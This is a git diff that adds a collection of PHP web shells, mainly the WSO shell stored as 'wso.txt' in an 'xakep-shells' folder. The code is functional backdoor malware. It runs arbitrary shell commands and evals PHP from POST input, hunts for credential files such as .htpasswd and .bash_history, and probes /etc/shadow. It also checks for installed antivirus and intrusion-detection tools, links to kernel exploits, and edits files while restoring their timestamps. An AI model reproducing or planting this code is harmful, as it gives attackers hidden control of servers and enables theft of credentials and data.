+ if (fedit($_GET['file'],'w',$_POST['content']))
+ $action = "Successful ";
+ else
+ $action = "Error Writing File, Possible Permission Problem ";
+}
+elseif ($_GET['action'] == 'download')
+{
+ $filename = $_GET['file'];
+ $filename = trim($filename);
+ $file = $path.$filename;
+ $file_size = filesize($file);
+ if(strstr($HTTP_USER_AGENT, "MSIE 5.5")) {
+ header("Content-Type: doesn/matter");
+ header("Content-Disposition: filename=$filename");
+ header("Content-Transfer-Encoding: binary");
+ header("Pragma: no-cache");
+ header("Expires: 0");
+ }
+ else {
+ Header("Content-type: file/unknown");
+ Header("Content-Disposition: attachment; filename=".str_replace("../","",$filename));
+ Header("Content-Description: PHP3 Generated Data");
+ header("Pragma: no-cache");
+ header("Expires: 0");
+ }
+
+ if (is_file("$file")) {
+ $fp = fopen("$file", "r");
+ if (!fpassthru($fp))
+ fclose($fp);
+ }
+ die();
+}
+
+//Actual Output
+echo "\n";
+echo "\n";
+echo " \n";
+echo "\n";
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/wso.txt b/xakep-shells/PHP/wso.txt
new file mode 100644
index 0000000..0768fb9
--- /dev/null
+++ b/xakep-shells/PHP/wso.txt
@@ -0,0 +1,1523 @@
+Password: ");
+}
+
+function WSOsetcookie($k, $v) {
+ $_COOKIE[$k] = $v;
+ setcookie($k, $v);
+}
+
+if(!empty($auth_pass)) {
+ if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
+
+ if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
+ wsoLogin();
+}
+
+if(strtolower(substr(PHP_OS,0,3)) == "win")
+ $os = 'win';
+else
+ $os = 'nix';
+
+$safe_mode = @ini_get('safe_mode');
+if(!$safe_mode)
+ error_reporting(0);
+
+$disable_functions = @ini_get('disable_functions');
+$home_cwd = @getcwd();
+if(isset($_POST['c']))
+ @chdir($_POST['c']);
+$cwd = @getcwd();
+if($os == 'win') {
+ $home_cwd = str_replace("\\", "/", $home_cwd);
+ $cwd = str_replace("\\", "/", $cwd);
+}
+if($cwd[strlen($cwd)-1] != '/')
+ $cwd .= '/';
+
+if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
+ $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
+
+if($os == 'win')
+ $aliases = array(
+ "List Directory" => "dir",
+ "Find index.php in current dir" => "dir /s /w /b index.php",
+ "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
+ "Show active connections" => "netstat -an",
+ "Show running services" => "net start",
+ "User accounts" => "net user",
+ "Show computers" => "net view",
+ "ARP Table" => "arp -a",
+ "IP Configuration" => "ipconfig /all"
+ );
+else
+ $aliases = array(
+ "List dir" => "ls -lha",
+ "list file attributes on a Linux second extended file system" => "lsattr -va",
+ "show opened ports" => "netstat -an | grep -i listen",
+ "process status" => "ps aux",
+ "Find" => "",
+ "find all suid files" => "find / -type f -perm -04000 -ls",
+ "find suid files in current dir" => "find . -type f -perm -04000 -ls",
+ "find all sgid files" => "find / -type f -perm -02000 -ls",
+ "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
+ "find config.inc.php files" => "find / -type f -name config.inc.php",
+ "find config* files" => "find / -type f -name \"config*\"",
+ "find config* files in current dir" => "find . -type f -name \"config*\"",
+ "find all writable folders and files" => "find / -perm -2 -ls",
+ "find all writable folders and files in current dir" => "find . -perm -2 -ls",
+ "find all service.pwd files" => "find / -type f -name service.pwd",
+ "find service.pwd files in current dir" => "find . -type f -name service.pwd",
+ "find all .htpasswd files" => "find / -type f -name .htpasswd",
+ "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
+ "find all .bash_history files" => "find / -type f -name .bash_history",
+ "find .bash_history files in current dir" => "find . -type f -name .bash_history",
+ "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
+ "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
+ "Locate" => "",
+ "locate httpd.conf files" => "locate httpd.conf",
+ "locate vhosts.conf files" => "locate vhosts.conf",
+ "locate proftpd.conf files" => "locate proftpd.conf",
+ "locate psybnc.conf files" => "locate psybnc.conf",
+ "locate my.conf files" => "locate my.conf",
+ "locate admin.php files" =>"locate admin.php",
+ "locate cfg.php files" => "locate cfg.php",
+ "locate conf.php files" => "locate conf.php",
+ "locate config.dat files" => "locate config.dat",
+ "locate config.php files" => "locate config.php",
+ "locate config.inc files" => "locate config.inc",
+ "locate config.inc.php" => "locate config.inc.php",
+ "locate config.default.php files" => "locate config.default.php",
+ "locate config* files " => "locate config",
+ "locate .conf files"=>"locate '.conf'",
+ "locate .pwd files" => "locate '.pwd'",
+ "locate .sql files" => "locate '.sql'",
+ "locate .htpasswd files" => "locate '.htpasswd'",
+ "locate .bash_history files" => "locate '.bash_history'",
+ "locate .mysql_history files" => "locate '.mysql_history'",
+ "locate .fetchmailrc files" => "locate '.fetchmailrc'",
+ "locate backup files" => "locate backup",
+ "locate dump files" => "locate dump",
+ "locate priv files" => "locate priv"
+ );
+
+function wsoHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = $GLOBALS['default_charset'];
+ global $color;
+ echo "" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."
+
+
+
+
+
+
+
+
+
+
+ ";
+ $freeSpace = @diskfreespace($GLOBALS['cwd']);
+ $totalSpace = @disk_total_space($GLOBALS['cwd']);
+ $totalSpace = $totalSpace?$totalSpace:1;
+ $release = @php_uname('r');
+ $kernel = @php_uname('s');
+ $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
+ if(strpos('Linux', $kernel) !== false)
+ $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
+ else
+ $explink .= urlencode($kernel . ' ' . substr($release,0,3));
+ if(!function_exists('posix_getegid')) {
+ $user = @get_current_user();
+ $uid = @getmyuid();
+ $gid = @getmygid();
+ $group = "?";
+ } else {
+ $uid = @posix_getpwuid(posix_geteuid());
+ $gid = @posix_getgrgid(posix_getegid());
+ $user = $uid['name'];
+ $uid = $uid['uid'];
+ $group = $gid['name'];
+ $gid = $gid['gid'];
+ }
+
+ $cwd_links = '';
+ $path = explode("/", $GLOBALS['cwd']);
+ $n=count($path);
+ for($i=0; $i<$n-1; $i++) {
+ $cwd_links .= "
".$path[$i]."/ ";
+ }
+
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $item)
+ $opt_charsets .= '
'.$item.' ';
+
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
+ if(!empty($GLOBALS['auth_pass']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] ';
+
+ $drives = "";
+ if($GLOBALS['os'] == 'win') {
+ foreach(range('c','z') as $drive)
+ if(is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ echo '
Uname: User: Php: Hdd: Cwd:' . ($GLOBALS['os'] == 'win'?' Drives:':'') . ' '
+ . '' . substr(@php_uname(), 0, 120) . ' [exploit-db.com] ' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' ) ' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON ':'OFF ')
+ . ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s') . ' ' . wsoViewSize($totalSpace) . ' Free: ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%) ' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' [ home ] ' . $drives . ' '
+ . '' . $opt_charsets . ' Server IP: ' . @$_SERVER["SERVER_ADDR"] . 'Client IP: ' . $_SERVER['REMOTE_ADDR'] . '
'
+ . '
';
+}
+
+function wsoFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?" (Writeable) ":" (Not writable) ";
+ echo "
+
+
";
+}
+
+if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
+ function posix_getpwuid($p) {return false;} }
+if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
+ function posix_getgrgid($p) {return false;} }
+
+function wsoEx($in) {
+ $out = '';
+ if (function_exists('exec')) {
+ @exec($in,$out);
+ $out = @join("\n",$out);
+ } elseif (function_exists('passthru')) {
+ ob_start();
+ @passthru($in);
+ $out = ob_get_clean();
+ } elseif (function_exists('system')) {
+ ob_start();
+ @system($in);
+ $out = ob_get_clean();
+ } elseif (function_exists('shell_exec')) {
+ $out = shell_exec($in);
+ } elseif (is_resource($f = @popen($in,"r"))) {
+ $out = "";
+ while(!@feof($f))
+ $out .= fread($f,1024);
+ pclose($f);
+ }
+ return $out;
+}
+
+function wsoViewSize($s) {
+ if($s >= 1073741824)
+ return sprintf('%1.2f', $s / 1073741824 ). ' GB';
+ elseif($s >= 1048576)
+ return sprintf('%1.2f', $s / 1048576 ) . ' MB';
+ elseif($s >= 1024)
+ return sprintf('%1.2f', $s / 1024 ) . ' KB';
+ else
+ return $s . ' B';
+}
+
+function wsoPerms($p) {
+ if (($p & 0xC000) == 0xC000)$i = 's';
+ elseif (($p & 0xA000) == 0xA000)$i = 'l';
+ elseif (($p & 0x8000) == 0x8000)$i = '-';
+ elseif (($p & 0x6000) == 0x6000)$i = 'b';
+ elseif (($p & 0x4000) == 0x4000)$i = 'd';
+ elseif (($p & 0x2000) == 0x2000)$i = 'c';
+ elseif (($p & 0x1000) == 0x1000)$i = 'p';
+ else $i = 'u';
+ $i .= (($p & 0x0100) ? 'r' : '-');
+ $i .= (($p & 0x0080) ? 'w' : '-');
+ $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
+ $i .= (($p & 0x0020) ? 'r' : '-');
+ $i .= (($p & 0x0010) ? 'w' : '-');
+ $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
+ $i .= (($p & 0x0004) ? 'r' : '-');
+ $i .= (($p & 0x0002) ? 'w' : '-');
+ $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
+ return $i;
+}
+
+function wsoPermsColor($f) {
+ if (!@is_readable($f))
+ return '' . wsoPerms(@fileperms($f)) . ' ';
+ elseif (!@is_writable($f))
+ return '' . wsoPerms(@fileperms($f)) . ' ';
+ else
+ return '' . wsoPerms(@fileperms($f)) . ' ';
+}
+
+function wsoScandir($dir) {
+ if(function_exists("scandir")) {
+ return scandir($dir);
+ } else {
+ $dh = opendir($dir);
+ while (false !== ($filename = readdir($dh)))
+ $files[] = $filename;
+ return $files;
+ }
+}
+
+function wsoWhich($p) {
+ $path = wsoEx('which ' . $p);
+ if(!empty($path))
+ return $path;
+ return false;
+}
+
+function actionSecInfo() {
+ wsoHeader();
+ echo 'Server security information ';
+ function wsoSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
' . $n . ': ';
+ if(strpos($v, "\n") === false)
+ echo $v . '
';
+ else
+ echo '
' . $v . ' ';
+ }
+ }
+
+ wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ if(function_exists('apache_get_modules'))
+ wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
+ wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
+ wsoSecParam('Open base dir', @ini_get('open_basedir'));
+ wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ wsoSecParam('Supported databases', implode(', ', $temp));
+ echo '
';
+
+ if($GLOBALS['os'] == 'nix') {
+ wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view] ":'no');
+ wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view] ":'no');
+ wsoSecParam('OS version', @file_get_contents('/proc/version'));
+ wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ echo '
';
+ $temp=array();
+ foreach ($userful as $item)
+ if(wsoWhich($item))
+ $temp[] = $item;
+ wsoSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $item)
+ if(wsoWhich($item))
+ $temp[] = $item;
+ wsoSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $item)
+ if(wsoWhich($item))
+ $temp[] = $item;
+ wsoSecParam('Downloaders', implode(', ',$temp));
+ echo '
';
+ wsoSecParam('HDD space', wsoEx('df -h'));
+ wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ echo '
posix_getpwuid ("Read" /etc/passwd) ';
+ if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
+ $temp = "";
+ for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
+ $uid = @posix_getpwuid($_POST['p2']);
+ if ($uid)
+ $temp .= join(':',$uid)."\n";
+ }
+ echo '
';
+ wsoSecParam('Users', $temp);
+ }
+ }
+ } else {
+ wsoSecParam('OS Version',wsoEx('ver'));
+ wsoSecParam('Account Settings',wsoEx('net accounts'));
+ wsoSecParam('User Accounts',wsoEx('net user'));
+ }
+ echo '
';
+ wsoFooter();
+}
+
+function actionPhp() {
+ if(isset($_POST['ajax'])) {
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
+ ob_start();
+ eval($_POST['p1']);
+ $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
+ echo strlen($temp), "\n", $temp;
+ exit;
+ }
+ if(empty($_POST['ajax']) && !empty($_POST['p1']))
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
+
+ wsoHeader();
+ if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
+ echo 'PHP info ';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace(array (
+ '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
+ '!td, th {(.*)}!msiU',
+ '!
]+>!msiU',
+ ), array (
+ '',
+ '.e, .v, .h, .h th {$1}',
+ ''
+ ), $tmp);
+ echo str_replace('
';
+ }
+ echo 'Execution PHP-code ';
+ wsoFooter();
+}
+
+function actionFilesMan() {
+ if (!empty ($_COOKIE['f']))
+ $_COOKIE['f'] = @unserialize($_COOKIE['f']);
+
+ if(!empty($_POST['p1'])) {
+ switch($_POST['p1']) {
+ case 'uploadFile':
+ if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
+ echo "Can't upload file!";
+ break;
+ case 'mkdir':
+ if(!@mkdir($_POST['p2']))
+ echo "Can't create new dir";
+ break;
+ case 'delete':
+ function deleteDir($path) {
+ $path = (substr($path,-1)=='/') ? $path:$path.'/';
+ $dh = opendir($path);
+ while ( ($item = readdir($dh) ) !== false) {
+ $item = $path.$item;
+ if ( (basename($item) == "..") || (basename($item) == ".") )
+ continue;
+ $type = filetype($item);
+ if ($type == "dir")
+ deleteDir($item);
+ else
+ @unlink($item);
+ }
+ closedir($dh);
+ @rmdir($path);
+ }
+ if(is_array(@$_POST['f']))
+ foreach($_POST['f'] as $f) {
+ if($f == '..')
+ continue;
+ $f = urldecode($f);
+ if(is_dir($f))
+ deleteDir($f);
+ else
+ @unlink($f);
+ }
+ break;
+ case 'paste':
+ if($_COOKIE['act'] == 'copy') {
+ function copy_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = @opendir($c.$s);
+ while (($f = @readdir($h)) !== false)
+ if (($f != ".") and ($f != ".."))
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ } elseif(is_file($c.$s))
+ @copy($c.$s, $d.$s);
+ }
+ foreach($_COOKIE['f'] as $f)
+ copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
+ } elseif($_COOKIE['act'] == 'move') {
+ function move_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = @opendir($c.$s);
+ while (($f = @readdir($h)) !== false)
+ if (($f != ".") and ($f != ".."))
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ } elseif(@is_file($c.$s))
+ @copy($c.$s, $d.$s);
+ }
+ foreach($_COOKIE['f'] as $f)
+ @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
+ } elseif($_COOKIE['act'] == 'zip') {
+ if(class_exists('ZipArchive')) {
+ $zip = new ZipArchive();
+ if ($zip->open($_POST['p2'], 1)) {
+ chdir($_COOKIE['c']);
+ foreach($_COOKIE['f'] as $f) {
+ if($f == '..')
+ continue;
+ if(@is_file($_COOKIE['c'].$f))
+ $zip->addFile($_COOKIE['c'].$f, $f);
+ elseif(@is_dir($_COOKIE['c'].$f)) {
+ $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
+ foreach ($iterator as $key=>$value) {
+ $zip->addFile(realpath($key), $key);
+ }
+ }
+ }
+ chdir($GLOBALS['cwd']);
+ $zip->close();
+ }
+ }
+ } elseif($_COOKIE['act'] == 'unzip') {
+ if(class_exists('ZipArchive')) {
+ $zip = new ZipArchive();
+ foreach($_COOKIE['f'] as $f) {
+ if($zip->open($_COOKIE['c'].$f)) {
+ $zip->extractTo($GLOBALS['cwd']);
+ $zip->close();
+ }
+ }
+ }
+ } elseif($_COOKIE['act'] == 'tar') {
+ chdir($_COOKIE['c']);
+ $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
+ wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
+ chdir($GLOBALS['cwd']);
+ }
+ unset($_COOKIE['f']);
+ setcookie('f', '', time() - 3600);
+ break;
+ default:
+ if(!empty($_POST['p1'])) {
+ WSOsetcookie('act', $_POST['p1']);
+ WSOsetcookie('f', serialize(@$_POST['f']));
+ WSOsetcookie('c', @$_POST['c']);
+ }
+ break;
+ }
+ }
+ wsoHeader();
+ echo 'File manager ';
+ $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+echo "
+
+Name Size Modify Owner/Group Permissions Actions ";
+ $dirs = $files = array();
+ $n = count($dirContent);
+ for($i=0;$i<$n;$i++) {
+ $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
+ $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
+ $tmp = array('name' => $dirContent[$i],
+ 'path' => $GLOBALS['cwd'].$dirContent[$i],
+ 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
+ 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
+ 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
+ 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
+ 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
+ );
+ if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
+ $files[] = array_merge($tmp, array('type' => 'file'));
+ elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
+ $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
+ elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
+ $dirs[] = array_merge($tmp, array('type' => 'dir'));
+ }
+ $GLOBALS['sort'] = $sort;
+ function wsoCmp($a, $b) {
+ if($GLOBALS['sort'][0] != 'size')
+ return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
+ else
+ return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
+ }
+ usort($files, "wsoCmp");
+ usort($dirs, "wsoCmp");
+ $files = array_merge($dirs, $files);
+ $l = 0;
+ foreach($files as $f) {
+ echo ''.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '>[ ' . htmlspecialchars($f['name']) . ' ] ').' '.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).' '.$f['modify'].' '.$f['owner'].'/'.$f['group'].' '.$f['perms']
+ .' R T '.(($f['type']=='file')?' E D ':'').' ';
+ $l = $l?0:1;
+ }
+ echo "
+
+
+
+ Copy Move Delete ";
+ if(class_exists('ZipArchive'))
+ echo "Compress (zip) Uncompress (zip) ";
+ echo "Compress (tar.gz) ";
+ if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
+ echo "Paste / Compress ";
+ echo " ";
+ if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
+ echo "file name: ";
+ echo "
";
+ wsoFooter();
+}
+
+function actionStringTools() {
+ if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
+ if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
+ if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i 'base64_encode',
+ 'Base64 decode' => 'base64_decode',
+ 'Url encode' => 'urlencode',
+ 'Url decode' => 'urldecode',
+ 'Full urlencode' => 'full_urlencode',
+ 'md5 hash' => 'md5',
+ 'sha1 hash' => 'sha1',
+ 'crypt' => 'crypt',
+ 'CRC32' => 'crc32',
+ 'ASCII to HEX' => 'ascii2hex',
+ 'HEX to ASCII' => 'hex2ascii',
+ 'HEX to DEC' => 'hexdec',
+ 'HEX to BIN' => 'hex2bin',
+ 'DEC to HEX' => 'dechex',
+ 'DEC to BIN' => 'decbin',
+ 'BIN to HEX' => 'binhex',
+ 'BIN to DEC' => 'bindec',
+ 'String to lower case' => 'strtolower',
+ 'String to upper case' => 'strtoupper',
+ 'Htmlspecialchars' => 'htmlspecialchars',
+ 'String length' => 'strlen',
+ );
+ if(isset($_POST['ajax'])) {
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
+ ob_start();
+ if(in_array($_POST['p1'], $stringTools))
+ echo $_POST['p1']($_POST['p2']);
+ $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
+ echo strlen($temp), "\n", $temp;
+ exit;
+ }
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
+ wsoHeader();
+ echo 'String conversions Search files:
+
";
+
+ function wsoRecursiveGlob($path) {
+ if(substr($path, -1) != '/')
+ $path.='/';
+ $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
+ if(is_array($paths)&&@count($paths)) {
+ foreach($paths as $item) {
+ if(@is_dir($item)){
+ if($path!=$item)
+ wsoRecursiveGlob($item);
+ } else {
+ if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
+ echo "
".htmlspecialchars($item)." ";
+ }
+ }
+ }
+ }
+ if(@$_POST['p3'])
+ wsoRecursiveGlob($_POST['c']);
+ echo "
Search for hash:
+
+
+
+
+
+
+ ";
+ wsoFooter();
+}
+
+function actionFilesTools() {
+ if( isset($_POST['p1']) )
+ $_POST['p1'] = urldecode($_POST['p1']);
+ if(@$_POST['p2']=='download') {
+ if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
+ ob_start("ob_gzhandler", 4096);
+ header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
+ if (function_exists("mime_content_type")) {
+ $type = @mime_content_type($_POST['p1']);
+ header("Content-Type: " . $type);
+ } else
+ header("Content-Type: application/octet-stream");
+ $fp = @fopen($_POST['p1'], "r");
+ if($fp) {
+ while(!@feof($fp))
+ echo @fread($fp, 1024);
+ fclose($fp);
+ }
+ }exit;
+ }
+ if( @$_POST['p2'] == 'mkfile' ) {
+ if(!file_exists($_POST['p1'])) {
+ $fp = @fopen($_POST['p1'], 'w');
+ if($fp) {
+ $_POST['p2'] = "edit";
+ fclose($fp);
+ }
+ }
+ }
+ wsoHeader();
+ echo 'File tools ';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ wsoFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ if(!$uid) {
+ $uid['name'] = @fileowner($_POST['p1']);
+ $gid['name'] = @filegroup($_POST['p1']);
+ } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
+ echo '
Name: '.htmlspecialchars(@basename($_POST['p1'])).'
Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').'
Permission: '.wsoPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ] ':$v).' ';
+ echo '
';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo ' ';
+ break;
+ case 'highlight':
+ if( @is_readable($_POST['p1']) ) {
+ echo '
';
+ $code = @highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$code).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ $time = @filemtime($_POST['p1']);
+ $_POST['p3'] = substr($_POST['p3'],1);
+ $fp = @fopen($_POST['p1'],"w");
+ if($fp) {
+ @fwrite($fp,$_POST['p3']);
+ @fclose($fp);
+ echo 'Saved!
';
+ @touch($_POST['p1'],$time,$time);
+ }
+ }
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo ' ';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
+ $h[1] .= '
';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' '.$h[1].' '.htmlspecialchars($h[2]).'
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
